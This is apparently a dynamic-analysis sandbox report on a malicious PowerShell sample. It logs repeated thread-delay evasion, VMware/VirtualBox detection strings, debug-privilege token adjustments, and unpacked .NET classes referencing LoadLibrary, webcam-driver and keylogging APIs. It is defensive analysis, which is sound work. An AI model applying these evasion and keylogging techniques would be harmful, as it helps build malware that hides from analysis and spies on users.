Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589729
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589618
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589512
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589405
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589296
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589186
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589078
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588968
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591860
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591734
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591612
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591500
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591375
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591235
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591125
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591015
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590870
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590765
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590656
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590546
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590396
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590281
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590168
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590062
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589953
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589836
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589734
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589625
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589512
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589368
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589250
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589139
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589031
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588921
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588812
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588703
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588593
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591750	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591636	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591515	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591406	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591281	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591171	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591062	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590948	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590828	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590718	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590606	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590496	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590359	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590247	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590138	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590015	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589881	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589750	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589640	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589520	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589374	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589249	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589139	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589030	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588921	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588812	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588703	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588592	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588483	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588328	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588196	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587851	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587493	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587375	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587264	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592063
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591938
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591813
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591688
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591578
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591454
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591328
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591219
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591110
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590985
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590860
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590738
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590592
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590469
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590355
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590250
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590141
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590022
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589906
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589797
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589684
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589547
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589422
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589312
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589202
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589094
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588875
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588765
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588655
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588500
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588368
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588023
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587665
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587562
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587453
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591828
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591717
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591609
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591499
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591385
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591266
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591156
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591046
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590900
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590796
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590686
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590577
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590426
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590312
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590199
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590093
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589867
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589765
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589655
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589542
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589405
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589280
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589170
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589061
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588952
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588843
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588733
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588624
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588513
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588359
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592125
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591890
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591769
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591655
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591523
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591407
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591281
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591170
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591041
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590937
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590827
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590718
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590567
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590452
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590340
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590234
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590124
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589906
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589796
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589683
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589546
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589421
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589311
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589202
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589093
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588874
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588764
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591985
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591871
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591762
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591641
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591531
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591406
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591296
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591188
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591073
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590953
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590844
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590731
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590622
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590485
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590372
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590250
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590141
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590006
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589875
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589766
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589645
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589500
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589375
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589264
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589156
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589046
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588937
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588828
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588718
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588608
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588453
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588321
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588156
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587641
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587500

Source: powershell.exe, 0000000D.00000002.2629547804.00000235BE8E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_P
Source: powershell.exe, 00000008.00000002.2769732784.0000026E40EA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 0000001B.00000002.2729265774.0000026301211000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: powershell.exe, 00000006.00000002.2714922812.000001E35E7AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\af0fc4
Source: powershell.exe, 00000006.00000002.2714922812.000001E35E7AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: powershell.exe, 00000006.00000002.2714922812.000001E35E7AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}6/Y
Source: powershell.exe, 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CheckForVMwareAndVirtualBox
Source: powershell.exe, 00000006.00000002.2700899870.000001E35E536000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2764225032.0000014B5A90A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2769732784.0000026E40E60000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.3295875974.000001E0F082A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2763880852.00000289CD8A9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.3256197347.0000026379CDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 0000000D.00000002.2621049747.00000235BE820000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll&&

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 15.2.powershell.exe.1e0f06a0000.2.raw.unpack, MyUtilityClass.cs	Reference to suspicious API methods: LoadLibrary(libraryName)
Source: 15.2.powershell.exe.1e0f06a0000.2.raw.unpack, MyUtilityClass.cs	Reference to suspicious API methods: GetProcAddress(intPtr, procName)
Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, Messages.cs	Reference to suspicious API methods: capGetDriverDescriptionA(wDriver, ref lpszName, 100, ref lpszVer, 100)
Source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, XLogger.cs	Reference to suspicious API methods: MapVirtualKey(vkCode, 0u)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
